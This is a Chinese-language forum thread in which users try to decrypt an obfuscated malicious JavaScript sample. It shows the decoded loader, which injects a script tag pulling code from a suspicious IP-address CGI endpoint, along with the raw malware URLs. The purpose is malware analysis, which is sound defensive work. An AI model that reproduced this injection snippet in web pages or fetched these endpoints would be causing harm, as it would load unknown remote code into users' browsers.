召唤解密高手

dikex

解出来的是：

1.         var vMNvF6la = document.createElement("script");
   
2. 
   
3.         vMNvF6la.setAttribute("language", "JavaScript");
   
4.         vMNvF6la.setAttribute("src", "?t=2354152789&r=606868581&h=1384690982&n=353965076&flag_i");
   
5. 
   
6.         document.body.appendChild(vMNvF6la);

复制代码

另外原始链接是不是这个？
http://76.31.240.224/cgi-bin/in.cgi?p=user1

如果是的话加载的就是下面的了
http://76.31.240.224/cgi-bin/in.cgi?t=2354152789&r=606868581&h=1384690982&n=353965076&flag_i

但我这里怎样也开不了http://76.31.240.224这个地址的东西，用代理也一样

[ 本帖最后由 dikex 于 2008-1-21 14:08 编辑 ]

samsinn

就它了
而且每次那段代码都有变动

dikex

原帖由 samsinn 于 2008-1-21 14:16 发表
就它了
而且每次那段代码都有变动

楼上的可以打开？？
http://76.31.240.224/cgi-bin/in.cgi?t=2354152789&r=606868581&h=1384690982&n=353965076&flag_i

把它上传上来玩玩

samsinn

打不开呀
之前打开过
你指的那链接我从IE缓存查看过
内容跟楼主的附件相似

qianwenxiang

另外原始链接是不是这个？
http://76.31.240.224/cgi-bin/in.cgi?p=user1

是这个 从76.31.240.224直接跳转过去的

如果是的话加载的就是下面的了
http://76.31.240.224/cgi-bin/in. ... 53965076&flag_i

我这儿也打不开..

jimmyleo

祥子你样本怎么得到的？
就是说源是什么？

solcroft

解来解去得到的老是只有垃圾代码
高手都不行了，我就不再玩了

jimmyleo

可能是传说中的 维吉尼亚加密

qianwenxiang

源头就是http://76.31.240.224/cgi-bin/in.cgi?p=user1 记不得在GOOGLE上面搜什么的时候看到了 现在要打开这个网站好像很吃力的样子。。 难道他们服务器爆掉了..

dikex

原帖由 solcroft 于 2008-1-21 18:23 发表
解来解去得到的老是只有垃圾代码
高手都不行了，我就不再玩了

主要是因为里面的那个arguments.callee的问题

AD一下：解密方法看这里：http://hi.baidu.com/dikex/blog/item/14344c8d0a957416b21bba7b.html